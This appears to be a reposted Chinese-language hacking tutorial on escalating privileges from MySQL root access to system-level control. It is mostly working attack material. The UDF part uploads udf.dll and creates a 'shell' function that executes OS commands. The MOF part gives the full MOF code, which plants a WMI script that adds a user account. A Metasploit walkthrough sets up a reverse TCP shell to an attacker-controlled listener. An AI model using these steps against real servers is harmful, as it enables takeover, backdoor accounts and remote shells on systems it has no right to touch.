利用MySQL提權原理:
1、具有mysql的root權限,且mysql以system權限運行,
2、具有執行sql陳述句的權限,webshell或者外連皆可
UDF提權
UDF(user defined function 用戶自定義函式)提權,要求有寫權限(secure_file_priv要么為空,要么設定路徑),單引號未被過濾
原理:
UDF可以理解為MySQL的函式庫,可以利用UDF定義創建函式,(其中包括了執行系統命令的函式)要想利用udf,必須上傳udf.dll作為udf的執行庫,
mysql中支持UDF擴展,使得我們可以凋用DLL里面的函式來實作一些特殊的功能,
0X01 MySQL資訊收集
在拿到資料庫賬號密碼后,查看用戶權限,本地路徑,版本資訊
select user(); select @@basedir; select version();select @@plugin_dir ; #查詢到MySQL的plugin位置# mysql版本<5.1,UDF匯出到系統目錄C:/windows/system32/ 如Windows2003放到c:\windows\system32# mysql版本>5.1,UDF匯出到安裝路徑:Windows在MySQL\Lib\Plugin\(Plugin默認不存在,需自建) Linux則在/usr/lib/mysql/plugin下 show global variables like '%secure%';# mysql版本<5.5.53 , secure_file_priv 默認為空# mysql版本>=5.5.53 ,secure_file_priv 默認為null0X02 創建函式
將udf.dll腳本上傳至指定目錄后執行命令
CREATE FUNCTION shell RETURNS string SONAME 'udf.dll'; # 創建函式 SELECT shell('cmd','whoami'); #執行命令
腳本鏈接 https://github.com/f1tz/UDF
Linux與Windows操作相似,具體操作參考上圖,注意檔案型別不是dll,而是so
如果遇到Function sys_eval already exists問題,執行以下陳述句
DROP FUNCTION IF EXISTS lib_mysqludf_sys_so;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS shell;
DROP FUNCTION IF EXISTS cmd;
select * from mysql.plugin;
delete from mysql.plugin;
mof(托管物件)提權
提權原理:
mof是windows系統的一個檔案(c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管物件格式“其作用是每隔五秒就會去監控行程創建和死亡,其就是用又了mysq的root權限了以后,然后使用root權限去執行我們上傳的mof,隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令,
mof檔案通過Mofcomp.exe編譯執行,
僅適用于Windows
流程:
1、首先找個可寫的目錄,將我們的MOF檔案上傳上去,
連接菜刀,上傳兩個mof檔案Adduser.mof,Addtoadmin.mof至C:windows/system32/wbem/mof/
select load_file(C:/wmpub/nullevt.mof) into dumpfile 'c:/windows/system32/wbem/mof/nulevt.mof'
2、mofcomp.exe xxx.mof 執行mof檔案
虛擬終端進入此目錄下,執行命令:mofcomp.exe Adduser.mof 等待數秒后net user 查看用戶是否添加成功,再執行mofcomp.exe Addtoadmin.mof 等待數秒后 net user 用戶名 查看是否添加到administrators組中
添加用戶的mof檔案代碼
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“; #修改這里進行賬戶密碼和組的修改
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
利用mof通過msf獲得cmdshell
use exploit/windows/mysql/mysql_mof #選取模塊
options #查看所需配置引數
set username xxx
set password xxx
set rhost xxx.xxx.xxx.xxx
set payload windows/shell_reverse_tcp #選擇payload
options
set lhost xxxx
set lport xxx
exploit #執行
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/45178.html
標籤:其他
下一篇:思科路由器命令資訊
